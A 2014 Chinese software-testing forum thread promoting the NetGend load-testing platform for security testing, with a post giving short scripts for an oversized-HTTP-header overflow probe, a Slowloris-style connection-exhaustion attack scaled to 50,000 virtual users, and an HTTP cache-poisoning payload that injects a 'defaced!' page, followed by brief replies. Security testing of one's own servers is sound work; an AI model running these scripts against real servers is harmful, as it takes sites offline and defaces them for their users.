51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 3562|回复: 3
打印 上一主题 下一主题

新一代的性能测试工具Netgend介绍: 性能测试平台上的安全测试LOIC

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2014-1-23 14:07:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
过去几年来网络安全已经获得了很多的关注, 并且成为可以让一个网站所有者保持夜不能寐的重要原因之一。在这篇文章中我们将要谈论如何使用性能测试平台NetGend来帮助进行安全测试。
        本质上来说,任何强大的性能测试平台都可以变成一个DDoS的测试平台.  NetGend平台在一个MiniPC上以模拟出5万个并发虚拟用户端,同时是一个优秀的DDoS测试平台。 和著名的DDoS攻击工具LOIC(Low Orbit Ion Cannon)相比, NetGend可以支持更多的并发会话能力,更为真实的客户端模拟。在NetGend平台上, 我们通过使用类Javascript脚本来实现仿真复杂的客户端行为。不像LOIC仅仅可以发送简单的信息,NetGend可以发送出很多动态的信息, 即在信息中设置很多动态变量。更为高级的能力是,它可以像真实的PC客户端那样,与被攻击服务器进行复杂的应用交互。它可以通过DDOS测试,真正触发并发现Web服务器上的安全漏洞和缺陷。
        首先,让我们试一个可以通过长HTTP头,造成缓冲区溢位的例子。在下面的脚本中,我们使用内置函数“Repeat”来创建一个有20000字节长度的 “Referer ”头:

function VUSER() {
      httpHeader.Referer = repeat("A", 20000);  
      action(http, "http://www.example.com");  
}  

     同样,你可以添加如下“XYZ” 的更长的HTTP头:
    httpHeader.XYZ = repeat("A", 30000);  

        创建一个超长头的HTTP请求是很容易的。让我们来看看Slowris攻击,这已成为目前针对服务器的一个流行的攻击。在这里,攻击者通过很慢地发送HTTP请求,形成针对Web服务器的拒绝服务攻击,来耗尽服务器上的所有资源(连接)。这个攻击的原始脚本是很长的的。在这里我们可以通过短短几行脚本来做一个简单的版本:
function VUSER() {
      connect("www.example.com", 80);
      http.POSTData = "name=jin&pass=123";  
      a=createHttpRequest("http://www.example.com/");  
      for (i = 0; i < length(a); i ++ ) {  
           send(substr(a, i, 1));  
           sleep(5000);  
      }  
}  

        在上面的脚本中,我们首先建立一个与Web服务器的连接, 然后创建一个有效的HTTP POST请求,同时发送一个字符,然后每间隔5秒发送下一个字符,直到发送完所有字符。 通过生成多个Vuser (最高可达50000个 ) ,我们会消耗掉所有的服务器上的连接资源。
        上面的两个例子在概念上很简单。 让我们再看看另外一个有许多创造性的例子,如何刻意地去编制一些特别的HTTP请求来达到恶意的目的。向发现这个漏洞的研究者表示感谢。这个攻击被称为“HTTP cache poisoning”,详细请参见 https://www.owasp.org/index.php/Cache_Poisoning
        这是一个针对HTTP缓存服务器的攻击。 下面这个图来自于Bertrant Baquet的Blog, 显示了一个HTTP缓存服务器的工作原理。一般的流程是,当一个HTTP的缓存服务器收到了一个请求,它会搜索已经缓存在本地的原来的交互信息,如果发现了匹配信息,它会直接在本地回应请求,否则,它会把这个请求发送给Web服务器,然后将从Web服务器那里得到的回应送回给客户端。
   
       
       这个攻击的原理是从客户机发送一个请求,使得Web服务器的响应从缓存服务器的角度来开好像是2个回应,这个攻击就会起作用。例如,当Web服务器有一个动态的页面,会根据收到的URL进行重定向。 举个例子,当服务器收到的请求是这个URL:http://www.example.com/redirect? ... //www.test.com , 它会发送一个http302响应,并设置“Location”是“http://www.test.com”。通过巧妙地制作一个黄色突出显示部分的信息,攻击者(客户端)就可以控制服务器发送信息内容。
       在下面的脚本中,特别设定的消息称为“Poison”,我们使用函数“toURL()”可以隐藏它,并且可以作为URL的一部分。
       
function VUSER() {        
connect("www.example.com", 80);      
httpHeader.Pragma = "no-cache";      
msg = createHttpRequest("http://www.example.com/index.html");           
send(msg); //turn off cache      
poison = "
Content-Length: 0  

HTTP/1.1 200 OK
Last-Modified: Mon, 27 Oct 2015 14:50:18 GMT
Content-Length: 21
Content-Type: text/html  
<html>defaced!</html>";      
poison = toUrl(poison);      
msg =createHttpRequest("http://www.example.com/redir.php?page=${poison}");      
send(msg); //add the poison      
msg = createHttpRequest("http://www.example.com/index.html");      
send(msg);
}

        最终,缓存服务器会把<html>defaced!</html> 页面作为默认的缓存主页面对请求进行回应。
        从一个Web服务器自己的角度来看,安全和性能都同样重要,有一个平台可以同时测试这两项难道不是很棒吗?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?(注-册)加入51Testing

x
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

  • TA的每日心情
    奋斗
    2019-3-7 09:49
  • 签到天数: 133 天

    连续签到: 1 天

    [LV.7]测试师长

    2#
    发表于 2014-7-23 11:43:32 | 只看该作者
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2022-5-8 19:23
  • 签到天数: 137 天

    连续签到: 1 天

    [LV.7]测试师长

    3#
    发表于 2014-8-16 10:42:31 | 只看该作者
    听上去很不错,下来试试看
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-12-31 08:59
  • 签到天数: 975 天

    连续签到: 1 天

    [LV.10]测试总司令

    4#
    发表于 2014-8-27 08:58:24 | 只看该作者
    下载看看
    回复 支持 反对

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-4-27 08:07 , Processed in 0.072950 second(s), 28 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表